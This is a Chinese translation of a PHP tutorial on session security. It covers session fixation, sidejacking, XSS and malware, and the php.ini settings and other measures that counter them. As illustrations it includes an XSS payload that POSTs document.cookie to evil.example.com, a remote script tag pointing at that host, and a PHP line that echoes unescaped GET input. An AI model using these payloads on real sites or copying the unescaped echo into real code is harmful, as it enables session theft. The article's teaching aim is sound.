PHP sessions——安全策略

PHP session是个全局变量,也是大部分web应用不可或缺的部分。但是如果错误使用session,就会导致大量安全漏洞以及性能下降、代码扩展性变低、数据丢失等问题。因此,深入理解PHP session对PHP web 开发至关重要。

一 先看一段简单的代码
<?php session_start(); if(!isset($_SESSION['counter'])) { $_SESSION['counter'] = 0; } $_SESSION['counter']++; echo $_SESSION['counter'];

上面的代码开启session初始化变量实现自增并打印其值。每刷新一次,变量值在上次基础上加1.如果在不同浏览器请求执行这段代码,变量值彼此不同。这到底是怎么回事呢?客户端是怎么标记的?变量存储在哪儿呢?

每个session对应一个唯一的ID. 这个session ID被客户端保存在cookie里,每次客户端发起请求时session ID都会被发送到服务器。session($_SESSION['counter'])的值保存在服务器上,这个值对应的键名就是session ID.

session就像是一张礼品卡。每张卡都由用户持有且有个唯一的卡号。余额由中心数据库存储。如果你的卡被盗而且盗窃者要在商场使用该卡,毫无疑问商场会支持该卡的使用。商场只认卡号并不管持卡人是谁。

PHP session也这样。如果攻击者窃取了你的session ID,他们就能假扮你,服务器不知道你跟攻击者有什么不同。这个就叫做会话劫持,该安全问题已经存在几十年了。

二 PHP session 安全策略
攻击者主要有四种获取用户session ID 的方法。

2.1 会话固定
第一种攻击方式叫做会话 固定。攻击者访问你的站点并取得你分配给他的session ID。比如你给的ID是12345.如果他使用某种手段欺骗其他用户使用同一ID,他就完全接管了用户的账户。

Java项目通常通过URL传递session ID.你可能也看到过某些网站的URL中有JSESSIONID这个参数。URL传递session ID是实现会话固定最简单的方式。攻击者要做的仅仅是让用户点击一下有?JSESSIONID=12345这个参数的链接。从 PHP 4.3开始,PHP也通过URL来传递session ID。幸运的是PHP 5.3就默认禁止了这一配置。除非你使用的框架或者PHP版本非常低,否则根本就不要担心会话固定攻击。只要确定php.ini的开启session.use_only_cookie 并禁止了 ssession.use_trans_sid就不会有什么问题。

目前的PHP项目还有其他的攻击行为存在。防止sidejacking和跨站脚本(下面会讲)也能有效防止会话固定攻击。

2.2 Sidejacking
跟中间人攻击类似,sidejacking 攻击者截取用户与服务器(通常通过公共Wi-Fi接入)之间的通信数据。跟主动修改请求数据不同,sidejacking攻击是被动监听并记录数据。Cookie在HTTP头部以明文传输,因此攻击者窃取session ID很容易。

但是如果请求使用的是HTTPS协议呢?加密之后的数据可以避免sidejacking攻击吗?能否?通过适当的HTTPS设置,你和用户之间的数据都会被加密。看上去很安全,但是你不能控制用户在地址栏的输入行为。

假如用户已经访问过你的网站(https://example.com),其session信息已经被创建。之后,他们使用一个公共的Wi-Fi热点,在地址栏输入http://example.com,你给他301重定向到https://example.com。在用户看来一切再正常不过了,但大错已铸。
他的初次请求数据没有加密里面有全部的cookie信息包括session ID.有这个ID攻击者就可以假扮客户接管其账户了。
PHP有个简单的设置可以有效减少此类威胁。session.cookie_secure(默认关闭)这个配置项确保现代浏览器不会在未加密的请求中发送session cookie保证用户信息安全。

2.3 跨站脚本攻击
糟糕的是即使使用了HTTPS协议和安全cookie机制,你的站点仍可能会被会话劫持。会话劫持的第三种方式是XSS(crossing site scripting)跨站脚本攻击。假如你在使用GET变量前没有过滤该变量。
<p> Sorry, no results for <em><?= $_GET['search_term'] ?></em> </p>
攻击者就能注入任何的HTML和JavaScript到你的响应页面。通常,因为浏览器的cross-origin policies第三方JavaScript不能访问你站点的cookie信息。但是如果JavaScript是直接被注入到你服务器的HTTP响应代码里,浏览器就认为其可信而赋予其对cookie的完全访问权限。攻击者要做的也就是诱导用户点击生成如下代码的链接。
<script> $.post( "https://evil.example.com/attack.php", {cookies: document.cookie} ) </script>

这段简单的代码将把用户的全部cookie(包括PHP session ID)发送到攻击者的网站。万幸,浏览器通过为cookies设置HttpOnly这一手段大致解决了这个问题。这个设置让JavaScript无法访问cookie.当然每次请求cookie的值仍然会被传递,不然web应用就玩不转了,但是document.cookieXMLHttpRequest不能访问其值。HttpOnly这个机制在几乎所有IE6之后发布的浏览器里都有效。你要做的也只是开启php.ini里的session.cookie_httponly

会话劫持只是攻击者使用跨站脚本攻击的其中一种方式。通过跨站脚本,他还可以发送非法的post请求到你的服务器做些改邮件地址,购物,窃取个人信息之类的事。即使你的cookie有HttpOnly协议的保护,完善HTML注入风险仍然非常重要。

虽然Chrome and Safari有防止普通注入攻击的XSS Auditor,但是新的攻击方式正陆续不断地出现。

信息敏感的网站可以启用内容安全策略。该策略默认忽略全部的内嵌JavaScript 和样式文件并通过白名单来加载远程脚本实现前者功能;即使如此,攻击者还是可以利用远程JavaScript(<script src="https://evil.example.com/attack.js"></script>)发起跨站攻击。

使用内容安全策略你可以创建白名单。如果网站不在白名单里,比如evil.example.com不在白名单里,浏览器就禁止该站点的全部请求。该策略实施起来很复杂需要维护很多站点,但是对于那些安全级别要求很高的网站来说却是个不错的选择。

综上所述,跨站脚本攻击最佳的防护方式就是过滤用户输入信息!但是!如果没有HTML注入威胁,你是不是就没有什么好担心的了呢?

2.4 恶意代码
会话劫持的最后一种方式跟其他三种有点不一样。攻击者可以利用任何漏洞,注册恶意程序或者获取用户计算机的物理访问权限。这时,攻击者可以直接从文件系统或者内存里面复制session ID.你不能保证用户计算机不被感染对吧,是不是很绝望,你可以做的就是采取措施保护用户账户安全。比如,当账户有重大修改或者购物行为时就要求用户重新授权,比如账户数据有变动时就给用户发邮件,比如采用双因素身份验证,比如缩短session过期时间,限制用户使用记住我的功能等。

实际上,作为责任人你应该在程序的关键流程里对用户进行重新认证。有一些PHP库可以与Google Authenticator等双因素身份验证应用程序集成。但是安全措施的执行并不是一劳永逸的可能需要持续开发才能保证正确运行。上面那些措施用到什么程度完全取决于你和你网站的特性。比如,网上银行应该全部用上、小的资讯网站也可以完全不用。


英语原文地址:https://www.phparch.com/2018/01/php-sessions-in-depth/

评论0条